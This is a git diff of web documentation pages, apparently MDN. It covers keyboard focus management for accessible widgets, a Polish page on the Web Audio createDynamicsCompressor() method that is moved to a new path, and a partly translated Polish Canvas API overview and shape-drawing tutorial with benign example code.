Example 2: A menu control using tabindex to control keyboard access

+ +
<ul id="mb1" tabindex="0">
+  <li id="mb1_menu1" tabindex="-1"> Font
+    <ul id="fontMenu" title="Font" tabindex="-1">
+      <li id="sans-serif" tabindex="-1">Sans-serif</li>
+      <li id="serif" tabindex="-1">Serif</li>
+      <li id="monospace" tabindex="-1">Monospace</li>
+      <li id="fantasy" tabindex="-1">Fantasy</li>
+    </ul>
+  </li>
+  <li id="mb1_menu2" tabindex="-1"> Style
+    <ul id="styleMenu" title="Style" tabindex="-1">
+      <li id="italic" tabindex="-1">Italics</li>
+      <li id="bold" tabindex="-1">Bold</li>
+      <li id="underline" tabindex="-1">Underlined</li>
+    </ul>
+  </li>
+  <li id="mb1_menu3" tabindex="-1"> Justification
+    <ul id="justificationMenu" title="Justication" tabindex="-1">
+      <li id="left" tabindex="-1">Left</li>
+      <li id="center" tabindex="-1">Centered</li>
+      <li id="right" tabindex="-1">Right</li>
+      <li id="justify" tabindex="-1">Justify</li>
+    </ul>
+  </li>
+</ul>
+ +

Disabled controls

+ +

When a custom control becomes disabled, remove it from the tab order by setting tabindex="-1". Note that disabled items within a grouped widget (such as menu items in a menu) should remain navigable using arrow keys.

+ +

Managing focus inside groups

+ +

When a user tabs away from a widget and returns, focus should return to the specific element that had focus, for example, the tree item or grid cell. There are two techniques for accomplishing this:

+ +
    +
  1. Roving tabindex: programmatically moving focus
  2. +
  3. aria-activedescendant: managing a 'virtual' focus
  4. +
+ +

Technique 1: Roving tabindex

+ +

Setting the tabindex of the focused element to "0" ensures that if the user tabs away from the widget and then returns, the selected item within the group retains focus. Note that updating the tabindex to "0" requires also updating the previously selected item to tabindex="-1". This technique involves programmatically moving focus in response to key events and updating the tabindex to reflect the currently focused item. To do this:

+ +

Bind a key down handler to each element in the group, and when an arrow key is used to move to another element:

+ +
    +
  1. programmatically apply focus to the new element,
  2. +
  3. update the tabindex of the focused element to "0", and
  4. +
  5. update the tabindex of the previously focused element to "-1".
  6. +
+ +

Here's an example of a WAI-ARIA tree view using this technique.

+ +
Tips
+ +
Use element.focus() to set focus
+ +

Do not use createEvent(), initEvent() and dispatchEvent() to send focus to an element. DOM focus events are considered informational only: generated by the system after something is focused, but not actually used to set focus. Use element.focus() instead.

+ +
Use onfocus to track the current focus
+ +

Don't assume that all focus changes will come via key and mouse events: assistive technologies such as screen readers can set the focus to any focusable element. Track focus using onfocus and onblur instead.

+ +

onfocus and onblur can now be used with every element. There is no standard DOM interface to get the current document focus. If you want to track the focus status, you can use the document.activeElement to get the active element. You can also use document.hasFocus to make sure if the current document focus. 

+ +

Technique 2: aria-activedescendant

+ +

This technique involves binding a single event handler to the container widget and using the aria-activedescendant to track a "virtual" focus. (For more information about ARIA, see this overview of accessible web applications and widgets.)

+ +

The aria-activedescendant property identifies the ID of the descendent element that currently has the virtual focus. The event handler on the container must respond to key and mouse events by updating the value of aria-activedescendant and ensuring that the current item is styled appropriately (for example, with a border or background color). See the source code of this ARIA radiogroup example for a direct illustration of how this works.

+ +

General Guidelines

+ +

Use onkeydown to trap key events, not onkeypress

+ +

IE will not fire keypress events for non-alphanumeric keys. Use onkeydown instead.

+ +

Ensure that keyboard and mouse produce the same experience

+ +

To ensure that the user experience is consistent regardless of input device, keyboard and mouse event handlers should share code where appropriate. For example, the code that updates the tabindex or the styling when users navigate using the arrow keys should also be used by mouse click handlers to produce the same changes.

+ +

Ensure that the keyboard can be used to activate element

+ +

To ensure that the keyboard can be used to activate elements, any handlers bound to mouse events should also be bound to keyboard events. For example, to ensure that the Enter key will activate an element, if you have an onclick="doSomething()", you should bind doSomething() to the key down event as well: onkeydown="return event.keyCode != 13 || doSomething();".

+ +

Always draw the focus for tabindex="-1" items and elements that receive focus programatically

+ +

IE will not automatically draw the focus outline for items that programatically receive focus. Choose between changing the background color via something like this.style.backgroundColor = "gray"; or add a dotted border via this.style.border = "1px dotted invert". In the dotted border case you will need to make sure those elements have an invisible 1px border to start with, so that the element doesn't grow when the border style is applied (borders take up space, and IE doesn't implement CSS outlines).

+ +

Prevent used key events from performing browser functions

+ +

If your widget handles a key event, prevent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code. If your event handler returns false, the event will not be propagated beyond your handler.

+ +

For example:

+ +
<span tabindex="-1" onkeydown="return handleKeyDown();">
+ +

If handleKeyDown() returns false, the event will be consumed, preventing the browser from performing any action based on the keystroke.

+ +

Don't rely on consistent behavior for key repeat, at this point

+ +

Unfortunately onkeydown may or may not repeat depending on what browser and OS you're running on.

diff --git a/files/pl/web/api/audiocontext/createdynamicscompressor/index.html b/files/pl/web/api/audiocontext/createdynamicscompressor/index.html deleted file mode 100644 index 7788cc64a9..0000000000 --- a/files/pl/web/api/audiocontext/createdynamicscompressor/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: AudioContext.createDynamicsCompressor() -slug: Web/API/AudioContext/createDynamicsCompressor -translation_of: Web/API/BaseAudioContext/createDynamicsCompressor ---- -

{{ APIRef("Web Audio API") }}

- -
-

Metoda createDynamicsCompressor() interfejsu domxref("AudioContext") }} jest używana do utworzenia {{domxref("DynamicsCompressorNode")}}, który może być zastosowany do dodawania kompresji na sygnał audio.

-
- -

Kompresja zcisza najgłośniejsze fragmenty sygnału i podgłaśnia najcichsze. W rezultacie możemy uzyskać głośniejszy, bogatszy i pełniejszy dźwięk. Jest to szczególnie istotne w przypadku gier oraz aplikacji muzycznych, w których duża ilość dźwięków jest odtwarzana jednocześnie oraz tam, gdzie chcesz kontrolować poziom sygnału głównego i unikać zniekształceń sygnału wyjściowego audio.

- -

Składnia

- -
var audioCtx = new AudioContext();
-var compressor = audioCtx.createDynamicsCompressor();
- -

Zwracanie wartości funkcji (return)

- -

{{domxref("DynamicsCompressorNode")}}.

- -

Przykład

- -

Poniższy kod przedstawia przykład prostego zastosowania createDynamicsCompressor() w celu dodania kompresji do ścieżki dźwiękowej. Pełniejszy przykład znajdziesz klikając na nasz przykład podstawowego kompresora (zobacz kod źródłowy).

- -
// utworzenie MediaElementAudioSourceNode
-// wprowadzenie HTMLMediaElement
-var source = audioCtx.createMediaElementSource(myAudio);
-
-// utworzenie węzła kompresora (compressor node)
-var compressor = audioCtx.createDynamicsCompressor();
-compressor.threshold.value = -50;
-compressor.knee.value = 40;
-compressor.ratio.value = 12;
-compressor.reduction.value = -20;
-compressor.attack.value = 0;
-compressor.release.value = 0.25;
-
-// podłączenie AudioBufferSourceNode do destynacji
-source.connect(audioCtx.destination);
-
-button.onclick = function() {
-  var active = button.getAttribute('data-active');
-  if(active == 'false') {
-    button.setAttribute('data-active', 'true');
-    button.innerHTML = 'Remove compression';
-
-    source.disconnect(audioCtx.destination);
-    source.connect(compressor);
-    compressor.connect(audioCtx.destination);
-  } else if(active == 'true') {
-    button.setAttribute('data-active', 'false');
-    button.innerHTML = 'Add compression';
-
-    source.disconnect(compressor);
-    compressor.disconnect(audioCtx.destination);
-    source.connect(audioCtx.destination);
-  }
-}
- -

Specyfikacje

- - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('Web Audio API', '#widl-AudioContext-createDynamicsCompressor-DynamicsCompressorNode', 'createDynamicsCompressor()')}}{{Spec2('Web Audio API')}} 
- -

Zgodność z przeglądarkami

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
CechaChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Wsparcie podstawowe{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
CechaAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Wsparcie podstawowe{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

Zobacz również

- - diff --git a/files/pl/web/api/baseaudiocontext/createdynamicscompressor/index.html b/files/pl/web/api/baseaudiocontext/createdynamicscompressor/index.html new file mode 100644 index 0000000000..7788cc64a9 --- /dev/null +++ b/files/pl/web/api/baseaudiocontext/createdynamicscompressor/index.html @@ -0,0 +1,142 @@ +--- +title: AudioContext.createDynamicsCompressor() +slug: Web/API/AudioContext/createDynamicsCompressor +translation_of: Web/API/BaseAudioContext/createDynamicsCompressor +--- +

{{ APIRef("Web Audio API") }}

+ +
+

Metoda createDynamicsCompressor() interfejsu domxref("AudioContext") }} jest używana do utworzenia {{domxref("DynamicsCompressorNode")}}, który może być zastosowany do dodawania kompresji na sygnał audio.

+
+ +

Kompresja zcisza najgłośniejsze fragmenty sygnału i podgłaśnia najcichsze. W rezultacie możemy uzyskać głośniejszy, bogatszy i pełniejszy dźwięk. Jest to szczególnie istotne w przypadku gier oraz aplikacji muzycznych, w których duża ilość dźwięków jest odtwarzana jednocześnie oraz tam, gdzie chcesz kontrolować poziom sygnału głównego i unikać zniekształceń sygnału wyjściowego audio.

+ +

Składnia

+ +
var audioCtx = new AudioContext();
+var compressor = audioCtx.createDynamicsCompressor();
+ +

Zwracanie wartości funkcji (return)

+ +

{{domxref("DynamicsCompressorNode")}}.

+ +

Przykład

+ +

Poniższy kod przedstawia przykład prostego zastosowania createDynamicsCompressor() w celu dodania kompresji do ścieżki dźwiękowej. Pełniejszy przykład znajdziesz klikając na nasz przykład podstawowego kompresora (zobacz kod źródłowy).

+ +
// utworzenie MediaElementAudioSourceNode
+// wprowadzenie HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// utworzenie węzła kompresora (compressor node)
+var compressor = audioCtx.createDynamicsCompressor();
+compressor.threshold.value = -50;
+compressor.knee.value = 40;
+compressor.ratio.value = 12;
+compressor.reduction.value = -20;
+compressor.attack.value = 0;
+compressor.release.value = 0.25;
+
+// podłączenie AudioBufferSourceNode do destynacji
+source.connect(audioCtx.destination);
+
+button.onclick = function() {
+  var active = button.getAttribute('data-active');
+  if(active == 'false') {
+    button.setAttribute('data-active', 'true');
+    button.innerHTML = 'Remove compression';
+
+    source.disconnect(audioCtx.destination);
+    source.connect(compressor);
+    compressor.connect(audioCtx.destination);
+  } else if(active == 'true') {
+    button.setAttribute('data-active', 'false');
+    button.innerHTML = 'Add compression';
+
+    source.disconnect(compressor);
+    compressor.disconnect(audioCtx.destination);
+    source.connect(audioCtx.destination);
+  }
+}
+ +

Specyfikacje

+ + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('Web Audio API', '#widl-AudioContext-createDynamicsCompressor-DynamicsCompressorNode', 'createDynamicsCompressor()')}}{{Spec2('Web Audio API')}} 
+ +

Zgodność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
CechaChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Wsparcie podstawowe{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
CechaAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Wsparcie podstawowe{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

Zobacz również

+ + diff --git a/files/pl/web/api/canvas_api/index.html b/files/pl/web/api/canvas_api/index.html new file mode 100644 index 0000000000..e4bf56c5e7 --- /dev/null +++ b/files/pl/web/api/canvas_api/index.html @@ -0,0 +1,55 @@ +--- +title: Canvas +slug: Web/HTML/Canvas +translation_of: Web/API/Canvas_API +--- +
+ {{outdated()}}
+
+

Canvas (<canvas>) jest nowym elementem HTML, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj JavaScript). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i nie tylko prostych) animacji.

+

Po raz pierwszy <canvas> został przedstawiony przez Apple dla Mac OS X Dashboard i później zaimplementowany w Safari. Przeglądarki oparte o silnik Gecko począwszy od wersji 1.8 (tj. Firefox 1.5 oraz późniejsze) obsługują ten nowy element. Również Opera 9 go wspiera. Czynione są starania, aby <canvas> był obsługiwany przez Internet Explorera (zobacz ).

+

Element <canvas> jest częścią specyfikacji WhatWG Web applications 1.0 znanej także jako HTML 5.

+
+ + + + + + + +
+

Dokumentacja

+
+
+ Rysowanie grafik za pomocą Canvas
+
+ Wprowadzenie do <canvas>.
+
+ Przewodnik po canvas
+
+ <canvas> jest nowym elementem HTML, który może być użyty do rysowania grafik przy użyciu skryptów (zazwyczaj JavaScript). Na przykład może być użyty do rysowania wykresów, tworzenia kompozycji fotografii lub do prostych (i nie tylko prostych) animacji.
+
+ Fragmenty kodu:Canvas
+
+ Fragmenty kodu z użyciem <canvas>.
+
+ Przykłady Canvas
+
+ Lista różnych przykładów stosujących <canvas>.
+
+ Rysowanie tekstu za pomocą Canvas
+
+ Dokumentacja nowych własności <canvas> dostępnych począwszy od Firefoksa 3
+
+
+

Społeczność

+ + + +
+

 

diff --git a/files/pl/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/pl/web/api/canvas_api/tutorial/drawing_shapes/index.html new file mode 100644 index 0000000000..08c589844b --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -0,0 +1,571 @@ +--- +title: Rysowanie kształtów w canvas +slug: Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow +translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
+ +
+

Ok, stworzyliśmy nasze środowisko canvas i teraz możemy poznać tajniki tworzenia grafiki za pomocą canvas. W tym rozdziale nauczysz się rysować prostokąty, trójkąty, linie, łuki oraz krzywe - czyli podstawowe kształty.

+
+ +

Siatka

+ +

Nim zaczniemy rysować, poznajmy najpierw siatkę czyli układ współrzędnych canvas. Szablon dokumentu z poprzedniego rozdziału zawiera element canvas o rozmiarach 150 na 150 (pikseli). Ilustracja po prawej ukazuje standardową siatkę naszego płótna. Domyślnie jedna jednostka odległości na siatce odpowiada wielkości jednego piksela na płótnie. Wartości siatki liczone są od lewego górnego rogu układu współrzędnych (x,y). W dalszej części dowiesz się, jak zamienić pozycję, tak by początek układu współrzędnych znajdował się gdzie indziej, jak go obrócić a nawet przeskalować. Na razie jednak użyjemy ustawień domyślnych. 

+ +

Rysowanie prostokątów

+ +

W przeciwieństwie do {{Glossary("SVG")}}, {{HTMLElement("canvas")}} na razie wspiera jedynie tworzenie prostokątów. Pozostałe figury geometryczne musimy stworzyć za pomocą ścieżek. Na szczęście mamy do dyspozycji zestaw funkcji za pomocą których jesteśmy w stanie stworzyć figury o dowolnej złożoności.

+ +

Najpierw przyjrzyjmy się prostokątowi. Istnieją trzy funkcje rysujące prostokąt:

+ +
+
{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}
+
Rysuje pole prostokąta.
+
{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}
+
Rysuje obwód prostokąta.
+
{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}
+
Wymazuje prostokątny obszar, w wyniku czego staje się on całkiem przezroczysty. Działą to jak gumka w formie prostokąta.
+
+ +

Każda z tych funkcji posiada jednakowe parametry. x i y to współrzędne na siatce - wyznaczają one pozycje lewego górnego rogu prostokąta. A width oraz height określają jego rozmiar.

+ +

Poniżej znajduje się funkcjadraw() z poprzedniej strony, tutaj wzbogacona o trzy metody tworzenia prostokątów.

+ +

Rectangular shape example

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    ctx.fillRect(25,25,100,100);
+    ctx.clearRect(45,45,60,60);
+    ctx.strokeRect(50,50,50,50);
+  }
+}
+ +

Oto wynik działania tego skryptu:

+ +

{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}

+ +

Funkcja fillRect() rysuje czarny kwadrat o boku 100 pikseli. Funkcja clearRect() wymazuje kwadratowy obszar o boku 60 pikseli pośrodku czarnego prostokąta, a następnie wywołanie funkcji strokeRect() tworzy obrys kratdatu o boku 50 pikseli również w centrum poprzedniej figury.

+ +

W kolejnych rozdziałąch poznasz dwie inne *metody dla clearReact(), oraz zobaczysz jak zmienić kolor oraz styl obrysu renderowanych kształtów.

+ +

W przeciwieńśtwie do funkcji tworzących ścieżki o czym przekonasz się później, wszystkie trzy funkcje tworzące prostokąt rysują kształ natychmiast po ich wywołaniu.

+ +

Rysowanie ścieżek

+ +

Drugim zarazem ostatnim podstawowym kształetem jest cieżka. Ścieżka złożona jest z punktów połączonych liniami prostymi lub krzywymi, o różnej grubości i o różnym kolorze. Ścieżka, a nawet jej fragment może być zamknięta. Aby utworzyć kształt za pomocą ścieżki wykonaj następujące kroki:

+ +
    +
  1. utwórz ścieżkę,
  2. +
  3. użyj komend rysujących aby rysować ścieżkę,
  4. +
  5. zamknij ścieżkę.
  6. +
  7. Po utworzeniu ścieżki możesz ją obrysować lub wypełnić, i dopiero wtedy ukaże się ona w canvasie.
  8. +
+ +

Oto funkcje potrzebne do wykonania tego zadania:

+ +
+
{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}
+
Tworzy nową ścieżkę. Po jej utworzeniu, wszelkie kolejne funkcce rysujące będą się do niej odwoływały oraz kontynuowały jej rysunek.
+
Path methods
+
Metoda do ustalania innych ścieżek dla obiektów.
+
{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}
+
Zamyka ścieżkę aby przyszłe polecenia rysowania, były kierowane ponownie do kontekstu(ctx).
+
{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}
+
Rysuje kształ poprzez odrysowanie konturu.
+
{{domxref("CanvasRenderingContext2D.fill", "fill()")}}
+
Rysuje kształ poprzez wypełnienie ścieżek wyznaczonego obszaru kontekstowego.
+
+ +

The first step to create a path is to call the beginPath(). Internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. Every time this method is called, the list is reset and we can start drawing new shapes.

+ +
Note: When the current path is empty, such as immediately after calling beginPath(), or on a newly created canvas, the first path construction command is always treated as a moveTo(), regardless of what it actually is. For that reason, you will almost always want to specifically set your starting position after resetting a path.
+ +

The second step is calling the methods that actually specify the paths to be drawn. We'll see these shortly.

+ +

The third, and an optional step, is to call closePath(). This method tries to close the shape by drawing a straight line from the current point to the start. If the shape has already been closed or there's only one point in the list, this function does nothing.

+ +
Note: When you call fill(), any open shapes are closed automatically, so you don't have to call closePath(). This is not the case when you call stroke().
+ +

Drawing a triangle

+ +

For example, the code for drawing a triangle would look something like this:

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.moveTo(75,50);
+    ctx.lineTo(100,75);
+    ctx.lineTo(100,25);
+    ctx.fill();
+  }
+}
+
+ +

The result looks like this:

+ +

{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}

+ +

Moving the pen

+ +

One very useful function, which doesn't actually draw anything but becomes part of the path list described above, is the moveTo() function. You can probably best think of this as lifting a pen or pencil from one spot on a piece of paper and placing it on the next.

+ +
+
{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}
+
Moves the pen to the coordinates specified by x and y.
+
+ +

When the canvas is initialized or beginPath() is called, you typically will want to use the moveTo() function to place the starting point somewhere else. We could also use moveTo() to draw unconnected paths. Take a look at the smiley face below.

+ +

To try this for yourself, you can use the code snippet below. Just paste it into the draw() function we saw earlier.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+     var ctx = canvas.getContext('2d');
+
+    ctx.beginPath();
+    ctx.arc(75,75,50,0,Math.PI*2,true); // Outer circle
+    ctx.moveTo(110,75);
+    ctx.arc(75,75,35,0,Math.PI,false);  // Mouth (clockwise)
+    ctx.moveTo(65,65);
+    ctx.arc(60,65,5,0,Math.PI*2,true);  // Left eye
+    ctx.moveTo(95,65);
+    ctx.arc(90,65,5,0,Math.PI*2,true);  // Right eye
+    ctx.stroke();
+  }
+}
+
+ +

The result looks like this:

+ +

{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}

+ +

If you'd like to see the connecting lines, you can remove the lines that call moveTo().

+ +
+

Note: To learn more about the arc() function, see the {{anch("Arcs")}} below.

+
+ +

Lines

+ +

For drawing straight lines, use the lineTo() method.

+ +
+
{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}
+
Draws a line from the current drawing position to the position specified by x and y.
+
+ +

This method takes two arguments, x and y, which are the coordinates of the line's end point. The starting point is dependent on previously drawn paths, where the end point of the previous path is the starting point for the following, etc. The starting point can also be changed by using the moveTo() method.

+ +

The example below draws two triangles, one filled and one outlined.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Filled triangle
+    ctx.beginPath();
+    ctx.moveTo(25,25);
+    ctx.lineTo(105,25);
+    ctx.lineTo(25,105);
+    ctx.fill();
+
+    // Stroked triangle
+    ctx.beginPath();
+    ctx.moveTo(125,125);
+    ctx.lineTo(125,45);
+    ctx.lineTo(45,125);
+    ctx.closePath();
+    ctx.stroke();
+  }
+}
+
+ +

This starts by calling beginPath() to start a new shape path. We then use the moveTo() method to move the starting point to the desired position. Below this, two lines are drawn which make up two sides of the triangle.

+ +

{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}

+ +

You'll notice the difference between the filled and stroked triangle. This is, as mentioned above, because shapes are automatically closed when a path is filled, but not when they are stroked. If we left out the closePath() for the stroked triangle, only two lines would have been drawn, not a complete triangle.

+ +

Arcs

+ +

To draw arcs or circles, we use the arc() or arcTo() methods.

+ +
+
{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}
+
Draws an arc which is centered at (x, y) position with radius r starting at startAngle and ending at endAngle going in the given direction indicated by anticlockwise (defaulting to clockwise).
+
{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}
+
Draws an arc with the given control points and radius, connected to the previous point by a straight line.
+
+ +

Let's have a more detailed look at the arc method, which takes six parameters: x and y are the coordinates of the center of the circle on which the arc should be drawn. radius is self-explanatory. The startAngle and endAngle parameters define the start and end points of the arc in radians, along the curve of the circle. These are measured from the x axis. The anticlockwise parameter is a Boolean value which, when true, draws the arc anticlockwise; otherwise, the arc is drawn clockwise.

+ +
+

Note: Angles in the arc function are measured in radians, not degrees. To convert degrees to radians you can use the following JavaScript expression: radians = (Math.PI/180)*degrees.

+
+ +

The following example is a little more complex than the ones we've seen above. It draws 12 different arcs all with different angles and fills.

+ +

The two for loops are for looping through the rows and columns of arcs. For each arc, we start a new path by calling beginPath(). In the code, each of the parameters for the arc is in a variable for clarity, but you wouldn't necessarily do that in real life.

+ +

The x and y coordinates should be clear enough. radius and startAngle are fixed. The endAngle starts at 180 degrees (half a circle) in the first column and is increased by steps of 90 degrees, culminating in a complete circle in the last column.

+ +

The statement for the clockwise parameter results in the first and third row being drawn as clockwise arcs and the second and fourth row as counterclockwise arcs. Finally, the if statement makes the top half stroked arcs and the bottom half filled arcs.

+ +
+

Note: This example requires a slightly larger canvas than the others on this page: 150 x 200 pixels.

+
+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    for(var i=0;i<4;i++){
+      for(var j=0;j<3;j++){
+        ctx.beginPath();
+        var x = 25+j*50; // x coordinate
+        var y = 25+i*50; // y coordinate
+        var radius = 20; // Arc radius
+        var startAngle = 0; // Starting point on circle
+        var endAngle = Math.PI+(Math.PI*j)/2; // End point on circle
+        var anticlockwise = i%2==0 ? false : true; // clockwise or anticlockwise
+
+        ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+        if (i>1){
+          ctx.fill();
+        } else {
+          ctx.stroke();
+        }
+      }
+    }
+  }
+}
+
+ +

{{EmbedLiveSample("Arcs", 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png")}}

+ +

Bezier and quadratic curves

+ +

The next type of paths available are Bézier curves, available in both cubic and quadratic varieties. These are generally used to draw complex organic shapes.

+ +
+
{{domxref("CanvasRenderingContext2D.quadraticCurveTo", "quadraticCurveTo(cp1x, cp1y, x, y)")}}
+
Draws a quadratic Bézier curve from the current pen position to the end point specified by x and y, using the control point specified by cp1x and cp1y.
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y)")}}
+
Draws a cubic Bézier curve from the current pen position to the end point specified by x and y, using the control points specified by (cp1x, cp1y) and (cp2x, cp2y).
+
+ +

The difference between these can best be described using the image on the right. A quadratic Bézier curve has a start and an end point (blue dots) and just one control point (indicated by the red dot) while a cubic Bézier curve uses two control points.

+ +

The x and y parameters in both of these methods are the coordinates of the end point. cp1x and cp1y are the coordinates of the first control point, and cp2x and cp2y are the coordinates of the second control point.

+ +

Using quadratic and cubic Bézier curves can be quite challenging, because unlike vector drawing software like Adobe Illustrator, we don't have direct visual feedback as to what we're doing. This makes it pretty hard to draw complex shapes. In the following example, we'll be drawing some simple organic shapes, but if you have the time and, most of all, the patience, much more complex shapes can be created.

+ +

There's nothing very difficult in these examples. In both cases we see a succession of curves being drawn which finally result in a complete shape.

+ +

Quadratic Bezier curves

+ +

This example uses multiple quadratic Bézier curves to render a speech balloon.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext) {
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,25);
+    ctx.quadraticCurveTo(25,25,25,62.5);
+    ctx.quadraticCurveTo(25,100,50,100);
+    ctx.quadraticCurveTo(50,120,30,125);
+    ctx.quadraticCurveTo(60,120,65,100);
+    ctx.quadraticCurveTo(125,100,125,62.5);
+    ctx.quadraticCurveTo(125,25,75,25);
+    ctx.stroke();
+  }
+}
+
+ +

{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

+ +

Cubic Bezier curves

+ +

This example draws a heart using cubic Bézier curves.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    // Quadratric curves example
+    ctx.beginPath();
+    ctx.moveTo(75,40);
+    ctx.bezierCurveTo(75,37,70,25,50,25);
+    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
+    ctx.bezierCurveTo(20,80,40,102,75,120);
+    ctx.bezierCurveTo(110,102,130,80,130,62.5);
+    ctx.bezierCurveTo(130,62.5,130,25,100,25);
+    ctx.bezierCurveTo(85,25,75,37,75,40);
+    ctx.fill();
+  }
+}
+
+ +

{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

+ +

Rectangles

+ +

In addition to the three methods we saw in {{anch("Drawing rectangles")}}, which draw rectangular shapes directly to the canvas, there's also the rect() method, which adds a rectangular path to a currently open path.

+ +
+
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "rect(x, y, width, height)")}}
+
Draws a rectangle whose top-left corner is specified by (x, y) with the specified width and height.
+
+ +

When this method is executed, the moveTo() method is automatically called with the parameters (0,0). In other words, the current pen position is automatically reset to the default coordinates.

+ +

Making combinations

+ +

So far, each example on this page has used only one type of path function per shape. However, there's no limitation to the number or types of paths you can use to create a shape. So in this final example, let's combine all of the path functions to make a set of very famous game characters.

+ + + +
function draw() {
+  var canvas = document.getElementById('canvas');
+  if (canvas.getContext){
+    var ctx = canvas.getContext('2d');
+
+    roundedRect(ctx,12,12,150,150,15);
+    roundedRect(ctx,19,19,150,150,9);
+    roundedRect(ctx,53,53,49,33,10);
+    roundedRect(ctx,53,119,49,16,6);
+    roundedRect(ctx,135,53,49,33,10);
+    roundedRect(ctx,135,119,25,49,10);
+
+    ctx.beginPath();
+    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
+    ctx.lineTo(31,37);
+    ctx.fill();
+
+    for(var i=0;i<8;i++){
+      ctx.fillRect(51+i*16,35,4,4);
+    }
+
+    for(i=0;i<6;i++){
+      ctx.fillRect(115,51+i*16,4,4);
+    }
+
+    for(i=0;i<8;i++){
+      ctx.fillRect(51+i*16,99,4,4);
+    }
+
+    ctx.beginPath();
+    ctx.moveTo(83,116);
+    ctx.lineTo(83,102);
+    ctx.bezierCurveTo(83,94,89,88,97,88);
+    ctx.bezierCurveTo(105,88,111,94,111,102);
+    ctx.lineTo(111,116);
+    ctx.lineTo(106.333,111.333);
+    ctx.lineTo(101.666,116);
+    ctx.lineTo(97,111.333);
+    ctx.lineTo(92.333,116);
+    ctx.lineTo(87.666,111.333);
+    ctx.lineTo(83,116);
+    ctx.fill();
+
+    ctx.fillStyle = "white";
+    ctx.beginPath();
+    ctx.moveTo(91,96);
